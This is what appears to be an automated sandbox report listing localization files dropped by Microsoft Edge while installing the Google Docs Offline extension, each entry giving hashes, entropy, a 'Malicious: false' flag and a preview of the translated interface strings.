Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
